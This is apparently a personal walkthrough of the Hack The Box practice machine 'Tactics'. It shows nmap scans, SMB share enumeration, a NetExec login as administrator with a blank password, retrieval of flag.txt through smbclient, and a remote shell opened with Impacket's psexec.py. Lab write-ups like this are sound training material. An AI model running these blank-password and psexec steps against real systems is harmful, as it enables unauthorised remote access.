

# HTB-Tactics-31Dec2023

## Enumeration

```
$ sudo nmap -sC -sV -O -Pn 10.129.4.176 -oA NMAP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-31 11:10 GMT
Nmap scan report for 10.129.4.176
Host is up (0.025s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
Warning: OSScan results may be unreliable because we could not find at least
1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
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Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2023-12-31T11:10:41
|_  start_date: N/A
```

```
$ sudo nmap -O -sC -sV -Pn 10.129.4.176 -p 445
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-31 11:14 GMT
Nmap scan report for 10.129.4.176
Host is up (0.025s latency).

PORT      STATE SERVICE      VERSION
445/tcp    open  microsoft-ds?
Warning: OSScan results may be unreliable because we could not find at least
1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (88%)
Aggressive OS guesses: Microsoft Windows Server 2019 (88%)
No exact OS matches for host (test conditions non-ideal).
```

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Host script results:
| smb2-security-mode:
|   3:1:1:
|_   Message signing enabled but not required
| smb2-time:
|   date: 2023-12-31T11:14:58
|_   start_date: N/A
```

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .  
Nmap done: 1 IP address (1 host up) scanned in 51.81 seconds

## SMBClient

```
$ smbclient -L 10.129.4.176 -U Administrator
Password for [WORKGROUP\Administrator]:
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| Sharename | Type | Comment       |
|-----------|------|---------------|
| -----     | ---- | -----         |
| ADMIN\$   | Disk | Remote Admin  |
| C\$       | Disk | Default share |
| IPC\$     | IPC  | Remote IPC    |

```
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.4.176 failed (Error
NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

## NetExec

A bit of practice with NetExec starting with basic information gathering.

```
netexec smb 10.129.4.176
SMB 10.129.4.176 445 TACTICS [*] Windows 10.0 Build
17763 x64 (name:TACTICS) (domain:Tactics) (signing:False) (SMBv1:False)
```

As you can see from the screenshot, and as this is windows computer, giving nxc the username of administrator and a blank password allows us to list shared with

permissions. It is similar to SMBClient in output but more information helps.

```
(swim@core)-[~/HTB/StartingPoint/Tactics]
$ netexec smb 10.129.4.176 -u administrator -p '' --shares
SMB 10.129.4.176 445 TACTICS [*] Windows 10.0 Build 17763 x64 (name:TACTICS) (domain:Tac
tics) (signing:False) (SMBv1:False)
SMB 10.129.4.176 445 TACTICS [+] Tactics\administrator: (Pwn3d!)
SMB 10.129.4.176 445 TACTICS [*] Enumerated shares
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| Share   | Permissions | Remark        |
|---------|-------------|---------------|
| ADMIN\$ | READ,WRITE  | Remote Admin  |
| C\$     | READ,WRITE  | Default share |
| IPC\$   | READ        | Remote IPC    |

## Drive Access

I followed the guide for the last bit of this because I've always hated smbclient and I wanted to try and guide myself through.

```
(sw1m@core)-[~/HTB/StartingPoint/Tactics]
$ smbclient \\\\10.129.4.176\\ADMIN$ -U administrator
Password for [WORKGROUP\\administrator]:
Try "help" to get a list of possible commands.
smb: \>
```

```
(sw1m@core)-[~/HTB/StartingPoint/Tactics]
$ sudo smbclient '\\10.129.4.176\C$' -U 'administrator'
Password for [WORKGROUP\administrator]:
Try "help" to get a list of possible commands.
smb: \> pwd
Current directory is \\10.129.4.176\C$\
smb: \> cd Users
smb: \Users\> cd Administrator\Desktop
cd \Users\Administrator\Desktop\ : NT_STATUS_OBJECT_NAME_NOT_FOUND
smb: \Users\> cd Administrator\Desktop
smb: \Users\Administrator\Desktop> dir
.                DR                0   Thu Apr 22 08:16:03 2021
..               DR                0   Thu Apr 22 08:16:03 2021
desktop.ini      AHS             282  Wed Apr 21 16:23:32 2021
flag.txt         A                32   Fri Apr 23 10:39:00 2021

3774463 blocks of size 4096. 1156406 blocks available
smb: \Users\Administrator\Desktop> get flag.txt
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \Users\Administrator\Desktop\flag.txt
smb: \Users\Administrator\Desktop> get flag.txt
getting file \Users\Administrator\Desktop\flag.txt of size 32 as flag.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
smb: \Users\Administrator\Desktop> exit
```

# PSExec

The guid also mentions that we can use PSEXEC to login to the machine as well so I took a punt at that while I was here.

```
(sw1m@core)-[~/HTB/StartingPoint/Tactics]
$ sudo psexec.py administrator@10.129.129.127
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

Password:
[*] Requesting shares on 10.129.129.127.....
[*] Found writable share ADMIN$
[*] Uploading file uuBCOdDb.exe
[*] Opening SVCManager on 10.129.129.127.....
[*] Creating service xyrd on 10.129.129.127.....
[*] Starting service xyrd.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
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C:\Windows\system32>cd ../

C:\Windows>cd ../Users

C:\Users>cd Administrator/Desktop

C:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is EEE0-FCDB

Directory of C:\Users\Administrator\Desktop

04/21/2021  11:16 PM    <DIR>          .
04/21/2021  11:16 PM    <DIR>          ..
04/23/2021  01:39 AM               32 flag.txt
               1 File(s)                32 bytes
               2 Dir(s)  4,728,655,872 bytes free

C:\Users\Administrator\Desktop>
```